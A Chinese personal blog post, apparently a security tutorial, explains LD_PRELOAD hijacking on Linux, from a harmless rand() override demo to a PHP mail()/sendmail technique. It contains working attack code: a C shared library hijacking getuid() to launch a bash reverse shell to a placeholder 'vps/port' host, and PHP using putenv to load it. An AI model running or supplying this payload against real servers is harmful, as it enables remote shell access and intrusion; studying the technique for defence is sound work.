nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

LD_PRELOAD劫持 特别篇

前言

这里主要是更深入的去理解一下这个意思,放上原博主地址
https://blog.csdn.net/weixin_63231007/article/details/128374661?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170798543816800184117972%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=170798543816800184117972&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-128374661-null-null.nonecase&utm_term=ld&spm=1018.2226.3001.4450

https://blog.csdn.net/qq_63701832/article/details/129760495?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170798717816800182189516%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170798717816800182189516&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~baidu_landing_v2~default-5-129760495-null-null.142^v99^pc_search_result_base8&utm_term=LD_PRELOAD%20&spm=1018.2226.3001.4187

LD_PRELOAD简介

LD_PRELOAD 是linux下的一个环境变量。用于动态链接库的加载,在动态链接库的过程中他的优先级是最高的。类似于 .user.ini 中的 auto_prepend_file
它允许你定义在程序运行之前优先加载的动态链接库,那么我们就可以在自己定义的动态链接库中装入恶意函数。 也叫做LD_PRELOAD劫持
比如:一个恶意文件中有一个恶意构造的函数和我们程序指令执行时调用的函数一样,而LD_PRELOAD路径指向这个恶意文件后,这个文件的优先级高于原本函数的文件,那么优先调用我们的恶意文件后会覆盖原本的那个函数,那么当我们调用原本函数时,它会自动调用恶意的函数,非常危险。

如果我们利用LD_PRELOAD 劫持了所有的系统命令。那么他都会加载这个恶意的so,最终会产生不可逆的漏洞,比如:反弹shell

LD_PRELOAD 简单利用演示

2024-02-15T08:56:36.png
rand.c

#include<stdio.h>
#include<stdlib.h>
#include<time.h> 
int main()
{
    srand(time(NULL)); //随机生成种子,保证每次出现的随机数不相同
    int i = 10;
    while(i--) printf("%d\n",rand());
    return 0;
}

gcc rand.c -o rand
2024-02-15T08:58:26.png
unrand.c
主体部分更换为

int rand()
{
return 666;
}
gcc -shared -fPIC 自定义文件.c -o 生成的库文件.so
gcc -shared -fPIC unrand.c -o unrand.so
export LD_PRELOAD=$PWD/unrand.so

2024-02-15T08:59:00.png
用ldd查看可执行文件加载的动态库优先顺序
2024-02-15T08:59:15.png
还有许多的案例
image-20240215170223640.png

分析过程

比如我们的mail的例子
利用 mail() 启动新进程来劫持系统函数
mail.php如下:

<?php
mail("a@localhost","","","","");
?>

strace 用于跟踪系统调用和信号

strace -f php mail.php 2>&1 | grep -A2 -B2 execve

2024-02-15T09:06:56.png
mail函数是一个发送邮件的函数,当使用它发送邮件时会使用到系统程序/usr/sbin/sendmail,如果能劫持到sendmail 这一系统命令的某个库函数,就可以执行我们的恶意系统命令

查看一下 sendmail系统命令会调用哪些库函数

readelf -Ws /usr/sbin/sendmail
调用的是 getuid()函数

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
void payload() {
    system("bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'");
}
 
uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

gcc -shared -fPIC getuid.c -o getuid.so

然后在 PHP 环境下劫持系统函数 getuid 就行了,代码如下:

<?php
putenv("LD_PRELOAD=/tmp/test/getuid.so");    // 注意这里的目录/var/tmp/要有访问权限
mail("a@localhost","","","","");
?>
 
// 运行 PHP 函数 putenv(), 设定环境变量 LD_PRELOAD 为 getuid.so, 以便后续启动新进程时优先加载该共享对象。
// 运行 PHP 的 mail() 函数, mail() 内部启动新进程 /usr/sbin/sendmail, 由于上一步 LD_PRELOAD 的作用, sendmail 调用的系统函数 getuid() 被优先级更好的 getuid.so 中的同名 getuid() 所劫持。

有时候我们需要自己测试

具体参考文章http://49.232.222.195/index.php/archives/325/有测试方法

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » LD_PRELOAD劫持 特别篇

评论